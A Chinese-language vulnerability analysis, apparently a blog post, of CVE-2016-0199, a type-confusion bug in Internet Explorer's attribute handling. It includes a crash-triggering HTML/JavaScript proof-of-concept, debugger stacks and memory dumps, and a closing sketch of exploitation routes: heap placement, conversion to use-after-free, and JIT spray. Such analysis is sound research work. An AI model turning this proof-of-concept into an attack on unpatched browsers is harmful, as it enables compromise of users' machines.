cve-2016-0199 漏洞分析

漏洞样本

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<script>
  oElement = document.createElement("IMG");
  var oAttr = document.createAttribute("loop");
  oAttr.nodeValue = oElement;
  oElement.loop = 0x10adc0de;
  oElement.setAttributeNode(oAttr); // Replace o­Element with original value data
  oElement.removeAttributeNode(oAttr);
  CollectGarbage(); // Use original value data as address 0x41424344 of a vftable
</script>

漏洞分析

该漏洞是一个Node 节点属性操作不当造成的类型混淆漏洞,IE 中 Node 节点极其属性相关结构如下

CNodeElement
    +0x10  CAttributeCollection
                +0xc  attrs_Array[] : AttrCell
                                    +0x00  
                                    +0x04 s_propdescCImgElementloop    ???
                                    +0x08 CAttribute
                                    +0x10 00000000
CAttribute
    +0x24  attr_name  : str_buff
    +0x28  attr_obj   : Variant
    +0x3c  element    : CElement
    +0x5c  isTrackable             // put_nodeValue 时设置

按照样本代码执行流程观察 Node 节点 Atrribute 内存变化情况

执行 oElement.loop = 0x10adc0de; 语句之后 AtrributeArrayBuffer 如下

004c3fc0 00000300 59c594a8 10adc0de 01000002
004c3fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
004c3fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
004c3ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0

执行 oElement.setAttributeNode(oAttr) 之后 AtrributeArrayBuffer 如下

0f9aefc0 00000300 59c594a8 10adc0de 01000002     // '10adc0de' oElement.loop = 0x10adc0de
0f9aefd0 80000d09 000003f3 128e6fa0 154ac834     // '128e6fa0' oElement.setAttributeNode(oAttr)
0f9aefe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0f9aeff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0

执行 oElement.removeAttributeNode(oAttr) 操作的是 AtrributeArrayBuffer 的第一个字段,并作为一 Object 处理,从而崩溃

CElement::removeAttributeNode oElement.removeAttributeNode(oAttr) 调用堆栈如下

0:018> kbn
 # ChildEBP RetAddr  Args to Child              
00 154ac5d8 5a0e3d0a 30000004 128e6fc8 128e2fa0 MSHTML!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x8579
01 154ac5fc 59e21a04 154ac634 59e21941 59c594a8 MSHTML!PROPERTYDESC::HandleNumProperty+0x4a
02 154ac634 5a22eee4 59c594a8 00000000 0fb25fd8 MSHTML!CBase::GetSubObjectFromPropDesc+0x3c
03 154ac648 59f5a09b 128e2fa0 128e6fc8 128e2fa0 MSHTML!CBase::get_Property+0x24
04 154ac680 5a0aa1db 128e2fa0 00000000 0fb25fd8 MSHTML!GS_VARIANT+0xeb
05 154ac714 59eaa75c 00000409 00000002 154ac7a4 MSHTML!CBase::ContextInvokeEx+0x27b
06 154ac73c 59de0629 128e2fa0 000003f3 00000409 MSHTML!CElement::ContextInvokeEx+0x4c
07 154ac768 59dc5f61 128e2fa0 000003f3 00000409 MSHTML!CImgElement::VersionedInvokeEx+0x49
08 154ac7bc 5a439318 128e6fc8 ffffffff 154ac86c MSHTML!CAttribute::get_nodeValue+0xb1
09 154ac7e4 5a4393cc 154ac818 154ac824 154ac820 MSHTML!CElement::VersionedGetAttributeNode+0x373
0a 154ac844 5a43eb77 00000001 0fb1fff4 154ac86c MSHTML!CElement::VersionedRemoveAttributeNode+0x5e
0b 154ac874 59de23a9 128e2fa0 128e6fa0 154ac918 MSHTML!CElement::removeAttributeNode+0x57
0c 154ac8a0 5a0aa1db 128e2fa0 166a2fd8 128e2fa0 MSHTML!Method_IDispatchpp_IDispatchp+0x79
0d 154ac934 59eaa75c 00000001 00000001 154acae0 MSHTML!CBase::ContextInvokeEx+0x27b
0e 154ac95c 59de0629 128e2fa0 80010457 00000001 MSHTML!CElement::ContextInvokeEx+0x4c
0f 154ac988 59ea95bf 128e2fa0 80010457 00000001 MSHTML!CImgElement::VersionedInvokeEx+0x49
10 154ac9c8 57c05e1c 128e2fa0 80010457 00000001 MSHTML!CBase::PrivateInvokeEx+0xbf
11 154aca34 57b1da66 80010457 00000001 154acae0 jscript9!HostDispatch::CallInvokeEx+0x1cc
12 154aca54 57c064ea 80010457 00000001 154acae0 jscript9!HostDispatch::InvokeMarshaled+0x45
13 154acb3c 57bdbd97 80010457 00000000 10000002 jscript9!HostDispatch::InvokeByDispId+0x420
14 154acb58 57bb9224 141292d0 10000002 14120180 jscript9!DispMemberProxy::DefaultInvoke+0x27
15 154acd98 57bb51fe 130a5104 1412c000 130a5000 jscript9!Js::InterpreterStackFrame::Process+0x874
16 154acebc 14150fe9 154aced0 154acf0c 57c08f33 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1fe
WARNING: Frame IP not in any known module. Following frames may be wrong.
17 154acec8 57c08f33 1412a1a0 00000000 00000000 0x14150fe9
18 154acf0c 57b0f5ce 00000000 00000000 1bd72fcb jscript9!Js::JavascriptFunction::CallFunction<1>+0x93
19 154acf80 57b9b300 166628b8 00000000 00000000 jscript9!Js::JavascriptFunction::CallRootFunction+0xb9
1a 154acfc8 57b1b7fe 154acff4 00000000 00000000 jscript9!ScriptSite::CallRootFunction+0x42
1b 154ad00c 57b212a6 1412a1a0 154ad050 00000000 jscript9!ScriptSite::Execute+0xdb
1c 154ad094 57b2213f 154ad2c8 154ad2e8 1bd73163 jscript9!ScriptEngine::ExecutePendingScripts+0x1d3
1d 154ad128 57b222ca 16928c5c 0f012fec 128dcfec jscript9!ScriptEngine::ParseScriptTextCore+0x337
1e 154ad178 5a16fd61 1665ce00 16928c5c 0f012fec jscript9!ScriptEngine::ParseScriptText+0x5a
1f 154ad1b0 59e5c672 16928c5c 00000000 00000000 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
20 154ad220 59e5ac2c 00000000 128c4b70 00000000 MSHTML!CScriptCollection::ParseScriptText+0x1eb
21 154ad30c 59e5b2c9 00000000 00000000 00000000 MSHTML!CScriptData::CommitCode+0x324
22 154ad38c 59e5affd 0ce34fa0 8000ffff 0ce56ee0 MSHTML!CScriptData::Execute+0x22e
23 154ad3ac 5a02f0d5 00000002 8000ffff 0ce6afa0 MSHTML!CHtmScriptParseCtx::Execute+0xed
24 154ad400 59eb4eae 0064c097 0ce6afa0 000102b0 MSHTML!CHtmParseBase::Execute+0x215
25 154ad41c 59eb4641 00000002 0ce56ee0 59e2a280 MSHTML!CHtmPost::Broadcast+0x1ee
26 154ad54c 59e2a1ed 0064c097 0b890cc8 0ce6afa0 MSHTML!CHtmPost::Exec+0x1b1
27 154ad56c 59e2a0e2 0064c097 0ce6afa0 0b890cc8 MSHTML!CHtmPost::Run+0x3d
28 154ad58c 59e2a06f 0ce6afa0 0ce6afa0 59bf28f4 MSHTML!PostManExecute+0x60
29 154ad5a0 59e29fd9 59e29fa0 154ad5e0 0b890cc8 MSHTML!PostManResume+0x71
2a 154ad5d0 59e29e0f 0ce6ef80 0ce6afa0 59e29de0 MSHTML!CHtmPost::OnDwnChanCallback+0x39
2b 154ad5e8 5a0919d1 0ce6ef80 00000000 00000012 MSHTML!CDwnChan::OnMethodCall+0x2f
2c 154ad664 59f05eb4 d6f16390 59f05dd0 00008002 MSHTML!GlobalWndOnMethodCall+0x381
2d 154ad6b4 77225b83 001603ba 00008002 00000000 MSHTML!GlobalWndProc+0xe4
2e 154ad6e0 77209d1a 59f05dd0 001603ba 00008002 USER32!_InternalCallWinProc+0x2b
2f 154ad778 77209860 001603ba 00008002 00000000 USER32!UserCallWinProcCheckWow+0x1aa
30 154ad7d8 772096b0 9ad0e4a6 154af974 5af7e76f USER32!DispatchMessageWorker+0x1a0
31 154ad7e4 5af7e76f 154ad820 13f3cdc8 0b5befc8 USER32!DispatchMessageW+0x10
32 154af974 5af7dd1f 154afa40 5af7d920 13f3eff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x45f
33 154afa34 6f3bb12c 13f3cdc8 6f3bb110 6f3bb110 IEFRAME!LCIETab_ThreadProc+0x3ff
34 154afa4c 756d95f4 13f3eff0 756d95d0 f55eab41 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
35 154afa60 77ab241a 13f3eff0 284f600e 00000000 KERNEL32!BaseThreadInitThunk+0x24
36 154afaa8 77ab23e9 ffffffff 77b33a12 00000000 ntdll!__RtlUserThreadStart+0x2b
37 154afab8 00000000 6f3bb110 13f3eff0 00000000 ntdll!_RtlUserThreadStart+0x1b

正常情况下会更新Element 中 AttrArrayIn 的数据,调用堆栈如下

0:019> kbn
 # ChildEBP RetAddr  Args to Child              
00 1530c320 5a005b16 1530c3d8 00000000 000003f3 MSHTML!CAttrValue::InitVariant+0x72
01 1530c384 5a006bef 000003f3 59c594a8 1530c3d8 MSHTML!CAttrArray::Set+0x396
02 1530c3bc 59e48fd6 1530c3d8 59c594a8 00000000 MSHTML!CAttrArray::Set+0x3f
03 1530c3e8 59e48f34 10adbeef 00000000 128d2fa0 MSHTML!CAttrArray::SetSimple+0x37
04 1530c418 59e48ed9 128d2fb0 10adbeef 00000000 MSHTML!BASICPROPPARAMS::SetAvNumber+0x4e
05 1530c444 5a17f7b8 128d2fa0 128d2fb0 10adbeef MSHTML!NUMPROPPARAMS::SetNumber+0x2c
06 1530c4cc 5a17f5aa 10adbeef 128d2fa0 128d2fb0 MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x203
07 1530c4ec 5a00ead1 10adbeef 128d2fa0 128d2fb0 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
08 1530c560 5a0e3cff 30000024 1530c5c8 128d2fa0 MSHTML!HandleSetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x521   <------------   update data  错误时此处检测后会直接返回,不会继续更新数据
09 1530c58c 59e22db3 59c594a8 30000024 1530c5c8 MSHTML!PROPERTYDESC::HandleNumProperty+0x3f
0a 1530c5b8 5a22f001 00000000 30000024 00000003 MSHTML!CBase::put_VariantHelper+0x68   
0b 1530c5e4 59f5a040 128d2fa0 00000003 00000000 MSHTML!CBase::put_Variant+0x31
0c 1530c628 5a0aa1db 128d2fa0 00000000 06404fd8 MSHTML!GS_VARIANT+0x90   
0d 1530c6bc 59eaa75c 00000409 00000004 1530c750 MSHTML!CBase::ContextInvokeEx+0x27b
0e 1530c6e4 59de0629 128d2fa0 000003f3 00000409 MSHTML!CElement::ContextInvokeEx+0x4c
0f 1530c710 5a4374aa 128d2fa0 000003f3 00000409 MSHTML!CImgElement::VersionedInvokeEx+0x49  
10 1530c760 5a4397b4 00000003 00000000 10adbeef MSHTML!CDOMTextNode::Proxy+0xca   
11 1530c7b4 5a43f2eb 00000001 128d6fa0 1530c7dc MSHTML!CElement::VersionedSetAttributeNode+0x140  
12 1530c7e4 59de23a9 128d2fa0 128d6fa0 1530c888 MSHTML!CElement::setAttributeNode+0x5b
13 1530c810 5a0aa1db 128d2fa0 16a7afd8 128d2fa0 MSHTML!Method_IDispatchpp_IDispatchp+0x79
14 1530c8a4 59eaa75c 00000001 00000001 1530ca50 MSHTML!CBase::ContextInvokeEx+0x27b
15 1530c8cc 59de0629 128d2fa0 80010456 00000001 MSHTML!CElement::ContextInvokeEx+0x4c
16 1530c8f8 59ea95bf 128d2fa0 80010456 00000001 MSHTML!CImgElement::VersionedInvokeEx+0x49
17 1530c938 57c05e1c 128d2fa0 80010456 00000001 MSHTML!CBase::PrivateInvokeEx+0xbf
18 1530c9a4 57b1da66 80010456 00000001 1530ca50 jscript9!HostDispatch::CallInvokeEx+0x1cc
19 1530c9c4 57c064ea 80010456 00000001 1530ca50 jscript9!HostDispatch::InvokeMarshaled+0x45
1a 1530caac 57bdbd97 80010456 00000000 10000002 jscript9!HostDispatch::InvokeByDispId+0x420
1b 1530cac8 57bb9224 140ca2a0 10000002 140c01a0 jscript9!DispMemberProxy::DefaultInvoke+0x27
1c 1530cd08 57bb51fe 140840d2 140cd000 14084000 jscript9!Js::InterpreterStackFrame::Process+0x874
1d 1530ce34 15af0fe9 1530ce48 1530ce84 57c08f33 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1fe
WARNING: Frame IP not in any known module. Following frames may be wrong.
1e 1530ce40 57c08f33 140cb180 00000000 00000000 0x15af0fe9
1f 1530ce84 57b0f5ce 00000000 00000000 025586da jscript9!Js::JavascriptFunction::CallFunction<1>+0x93
20 1530cef8 57b9b300 16a3c8b8 00000000 00000000 jscript9!Js::JavascriptFunction::CallRootFunction+0xb9
21 1530cf40 57b1b7fe 1530cf6c 00000000 00000000 jscript9!ScriptSite::CallRootFunction+0x42
22 1530cf84 57b212a6 140cb180 1530cfc8 00000000 jscript9!ScriptSite::Execute+0xdb
23 1530d00c 57b2213f 1530d240 1530d260 02559882 jscript9!ScriptEngine::ExecutePendingScripts+0x1d3
24 1530d0a0 57b222ca 0f489c14 0e3aafec 128ccfec jscript9!ScriptEngine::ParseScriptTextCore+0x337
25 1530d0f0 5a16fd61 16a36e00 0f489c14 0e3aafec jscript9!ScriptEngine::ParseScriptText+0x5a
26 1530d128 59e5c672 0f489c14 00000000 00000000 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
27 1530d198 59e5ac2c 00000000 128b4b70 00000000 MSHTML!CScriptCollection::ParseScriptText+0x1eb
28 1530d284 59e5b2c9 00000000 00000000 00000000 MSHTML!CScriptData::CommitCode+0x324
29 1530d304 59e5affd 0f59dfa0 8000ffff 0c062ee0 MSHTML!CScriptData::Execute+0x22e
2a 1530d324 5a02f0d5 00000002 8000ffff 0f56dfa0 MSHTML!CHtmScriptParseCtx::Execute+0xed
2b 1530d378 59eb4eae 015b6de1 0f56dfa0 000102b0 MSHTML!CHtmParseBase::Execute+0x215
2c 1530d394 59eb4641 00000002 0c062ee0 59e2a280 MSHTML!CHtmPost::Broadcast+0x1ee
2d 1530d4c4 59e2a1ed 015b6de1 0b5bccc8 0f56dfa0 MSHTML!CHtmPost::Exec+0x1b1
2e 1530d4e4 59e2a0e2 015b6de1 0f56dfa0 0b5bccc8 MSHTML!CHtmPost::Run+0x3d
2f 1530d504 59e2a06f 0f56dfa0 0f56dfa0 59bf28f4 MSHTML!PostManExecute+0x60
30 1530d518 59e29fd9 59e29fa0 1530d558 0b5bccc8 MSHTML!PostManResume+0x71
31 1530d548 59e29e0f 0f567f80 0f56dfa0 59e29de0 MSHTML!CHtmPost::OnDwnChanCallback+0x39
32 1530d560 5a0919d1 0f567f80 00000000 00000012 MSHTML!CDwnChan::OnMethodCall+0x2f
33 1530d5dc 59f05eb4 91def74a 59f05dd0 00008002 MSHTML!GlobalWndOnMethodCall+0x381
34 1530d62c 77225b83 00350038 00008002 00000000 MSHTML!GlobalWndProc+0xe4
35 1530d658 77209d1a 59f05dd0 00350038 00008002 USER32!_InternalCallWinProc+0x2b
36 1530d6f0 77209860 00350038 00008002 00000000 USER32!UserCallWinProcCheckWow+0x1aa
37 1530d750 772096b0 bad79a21 1530f8ec 5af7e76f USER32!DispatchMessageWorker+0x1a0
38 1530d75c 5af7e76f 1530d798 14008dc8 0b2ecfc8 USER32!DispatchMessageW+0x10
39 1530f8ec 5af7dd1f 1530f9b8 5af7d920 1400aff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x45f
3a 1530f9ac 6f3bb12c 14008dc8 6f3bb110 6f3bb110 IEFRAME!LCIETab_ThreadProc+0x3ff
3b 1530f9c4 756d95f4 1400aff0 756d95d0 046bf7a7 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
3c 1530f9d8 77ab241a 1400aff0 61f2883e 00000000 KERNEL32!BaseThreadInitThunk+0x24
3d 1530fa20 77ab23e9 ffffffff 77b33a0b 00000000 ntdll!__RtlUserThreadStart+0x2b
3e 1530fa30 00000000 6f3bb110 1400aff0 00000000 ntdll!_RtlUserThreadStart+0x1b

.text:63ACEC08 mov     edi, [esp+58h+var_34]
.text:63ACEC0C lea     eax, [esp+58h+var_49]
.text:63ACEC10 push    eax             ; bool *
.text:63ACEC11 lea     eax, [esp+5Ch+var_38]
.text:63ACEC15 mov     ecx, edi        ; this
.text:63ACEC17 push    eax             ; __int32 *
.text:63ACEC18 push    dword ptr [ebp+arg_0] ; unsigned __int32
.text:63ACEC1B push    dword ptr [esp+64h+pvarg.anonymous_0+8] ; unsigned __int16 *
.text:63ACEC1F call    CHandleIntegerPropertyHelper::SetValueFromString(void const *,ulong,long *,bool *)      <----------------- 这里获取属性的实际值,获取成功进行下一步 SetNumberProperty 操作;获取失败则直接返回不对 CAttrArray 进行操作 
.text:63ACEC24 cmp     [esp+58h+var_49], 0
.text:63ACEC29 mov     ebx, eax
.text:63ACEC2B jnz     loc_63ACE

在 IE 中 DOM 节点拥有一个 CAttrArray 数组来存储节点的 atrr ,数组类型为 VARIANT。 (引用计数法管理的垃圾回收)

设置 attr 有两种方式,一是直接设置 oElement.loop = 0x41424344 、二是使用 createAttribute 和 setAttributeNode
若直接设置 attr,则 IE 会将数据直接存入 CAttrArray 数组
若采用第二种方式设置,则首先需要使用 createAttribute 创建一个 CAttribute 对象 new_attr ,再使用 setAttributeNode 将该对象与节点关联起来
setAttributeNode 进行的工作有
1. 判断属性名是否相同,若已有同名属性,则首先新建一个 CAttribute 对象 old_attr,将原有属性数据复制到 old_attr 中。
2. 将 old_attr->element 至零,解除属性对象与节点对象之间的关联。
3. 设置 new_attr->element 为节点对象
4. CAttrArray::Set 将 new_attr 添加进 CAttrArray (实际为将new_attr 的 VARIANT 添加入 CAttrArray 的 CAttrArrayInl 数组)
5. 更新 CAttrArray 数据以便节点对象访问,(若之前已有同名属性,则使用 new_attr 中的 VARIANT 数据覆盖之前的同名属性空间;若无,则在CAttrArrayInl 之前新插入一 VARIANT)

    已有同名属性--------------------------------------------------------------------------------------------
    0f2f6fc0 00000300 59c594a8 10adc0de 01000002      |      0f2f6fc0 00000300 59c594a8 10adbeef 01000002
    0f2f6fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      0f2f6fd0 80000d09 000003f3 13336fa0 1447c754
    0f2f6fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      0f2f6fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
    0f2f6ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      0f2f6ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
    ------------------------------------------------------------------------------------------------------
    
    无同名属性----------------------------------------------------------------------------------------------
    00b20fc0 80000d09 000003f3 12856fa0 01000002      |      00b20fc0 00000300 59c594a8 10adbeef 77454f76
    00b20fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      00b20fd0 80000d09 000003f3 12856fa0 01000002
    00b20fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      00b20fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
    00b20ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      00b20ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 
    ------------------------------------------------------------------------------------------------------

    6. 解引用 old_attr

节点对象访问其 attr 属性时直接通过访问 CAttrArray 达到访问目的
删除节点对象 attr 属性使用 removeAttributeNode 方法,其主要的工作有
1. 删除 CAttrArray 的 同名属性 VARIANT ,若该 VARIANT 是直接赋值产生,则新建一 CAttribute 对象,否则使用原有的 CAttribute 对象(通过CAttrArrayInl判断)。将 CAttrArray中的 VARIANT 复制到 CAttribute中

直接赋值产生-----------------------------------------------setAttributeNode-----------------------------
0f2f6fc0 00000300 59c594a8 10adc0de 01000002      |      0f2f6fc0 00000300 59c594a8 10adc0de 01000002
0f2f6fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      0f2f6fd0 80000d09 000003f3 13336fa0 1447c754
0f2f6fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      0f2f6fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0f2f6ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0      |      0f2f6ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
------------------------------------------------------------------------------------------------------
2. 新建一 CAttribute 对象 null_attr ,将 null_attr 对象的 VARIANT 赋值到 CAttrArray 中 (CAttrArray::Set)
3. 解引用 old_attr

因为 IE 中的 属性对象的 value 是允许设置为 Object 的。由于其垃圾回收机制的要求,需要将不再被用到的数据对象释放。因此每次从 CAttrArray 数组中删除 VARIANT 时都需要对其中引用到的对象进行解引用。 因此,每次删除 CAttrArray 数组元素时都需要将VARIANT 赋值到 CAttrArray ,然后进行相应的解引用操作。

漏洞产生的原因在 setAttributeNode 操作的第5 步,此处 使用 new_attr 中的 VARIANT 数据覆盖之前的同名属性空间,若从 new_attr 尝试获取数据失败 (SetValueFromString 无法从 [Object] 中得出数据),则不做修改。但此时 CAttrArrayInl 数组已经发生改变

.text:63EF979F
.text:63EF979F loc_63EF979F:
.text:63EF979F mov     edx, [ebp+var_10]
.text:63EF97A2 mov     esi, edi
.text:63EF97A4 sub     esp, 10h
.text:63EF97A7 mov     ecx, ebx
.text:63EF97A9 mov     edi, esp
.text:63EF97AB movsd
.text:63EF97AC movsd
.text:63EF97AD movsd
.text:63EF97AE movsd
.text:63EF97AF call    sub_63E

此时的内存状态如下图所示

----------------CAttrArray------------------
0fb2fff0 00000010 00000002 0f9aefc0 00007e60
--------------------------------------------
---------------CAttrArrayInl----------------
0f9aefc0 00000300 59c594a8 10adc0de 01000002
0f9aefd0 80000d09 000003f3 128e6fa0 154ac834
0f9aefe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0f9aeff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
--------------------------------------------
----------------CAttribute------------------
128e6fa0 59aedea8 00000003 00000001 00000010
128e6fb0 00000000 141202a9 00000000 59c594a8
128e6fc0 000003f3 0fb1fff4 00000009 00000000
128e6fd0 128e4f88 00000000 1289efb0 128e2fa0
128e6fe0 128c4b70 0c48efe0 00000000 00000000
128e6ff0 ffffffff ffffffff ffffffff 0000000c  <---------- means the VARIANT is an trackable object
--------------------------------------------

则在执行 removeAttributeNode 时,IE 会根据 CAttrArrayInl 认为节点的当前属性是由 setAttributeNode 产生,从而将 CAttrArrayInl 中的数据赋值到原有CAttribute中,之后对CAttribute进行解引用。

----------------CAttribute------------------
128e6fa0 59aedea8 00000001 00000000 00000010
128e6fb0 00000000 141202a9 00000000 00000000
128e6fc0 ffffffff 0fb1fff4 00000003 00000000
128e6fd0 10adc0de 00000000 1289efb0 00000000
128e6fe0 128c4b70 0c48efe0 00000000 00000000
128e6ff0 ffffffff ffffffff ffffffff 0000000c
--------------------------------------------

由是,CAttribute 对象在被销毁时,会访问其 VARIANT 中引用的对象,并修改其引用计数。 访问到 10adc0de 崩溃

----------------------------------------------------------------------------------------
(93c.a3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=10adc0de ebx=13fa39f0 ecx=154ac94c edx=10000000 esi=57a6d434 edi=154ac940
eip=57c2ad89 esp=154ac938 ebp=154ac950 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!JavascriptThreadService::EnumerateTrackingClient+0x166ca9:
57c2ad89 8b30            mov     esi,dword ptr [eax]  ds:0023:10adc0de=????????
----------------------------------------------------------------------------------------

漏洞利用

利用思路可以想到,布局一个对象在 0x10adc0de 或者其他任意稳定位置,该对象需满足条件是其指向内容偏移0x44的位置是一个合法函数调用
或者,直接布局一个 Node 对象,Node 对象虚表0x44的位置是 release 函数,从而将Type Confuse 转化为了 UAF
或者,使用JIT Spray 来执行操作

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容

  • 个人博客:https://yeaseonzhang.github.io 花了半个多月的时间,终于又把“JS红宝书”...
    Yeaseon阅读 11,373评论 9 52
  • 1.几种基本数据类型?复杂数据类型?值类型和引用数据类型?堆栈数据结构? 基本数据类型:Undefined、Nul...
    极乐君阅读 5,398评论 0 106
  • 培养孩子的独立性: 好的父母,就像好的老师,要让自己渐渐成为孩子可有可无的人。我们可以有意识地使用一些句子,暗...
    尤占芳阅读 131评论 0 0
  • 作者:云烟 雨变幻着样子,像变幻样子的你,迎面而来的风,像迎面而来的你,雨中飘过一朵带着丁香味的叶,像带着丁...
    当代诗人云烟阅读 719评论 7 6
  • 11月份开始尝试知识卡片积累作为主要输出、“五步阅读法”为书籍输入,这两种方法论为每周重点目标,文章会对运用这两种...
    莹莹细雨润心扉阅读 165评论 0 0